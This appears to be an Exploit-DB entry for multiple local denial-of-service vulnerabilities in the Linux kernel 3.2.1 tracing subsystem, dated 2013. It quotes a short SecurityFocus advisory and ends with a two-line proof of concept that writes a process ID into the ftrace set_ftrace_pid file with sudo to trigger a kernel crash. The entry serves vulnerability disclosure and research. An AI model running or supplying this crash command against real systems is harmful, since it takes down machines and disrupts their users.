Linux Kernel 3.2.1 - Tracing Multiple Local Denial of Service Vulnerabilities

EDB-ID:

38465


Author:

anonymous

Type:

dos


Platform:

Linux

Date:

2013-04-15


source: https://www.securityfocus.com/bid/59055/info

The Linux kernel is prone to multiple local denial-of-service vulnerabilities.

Attackers can exploit these issues to trigger a kernel crash, which may result in a denial-of-service condition. 

cd /sys/kernel/debug/tracing
echo 1234 | sudo tee -a set_ftrace_pid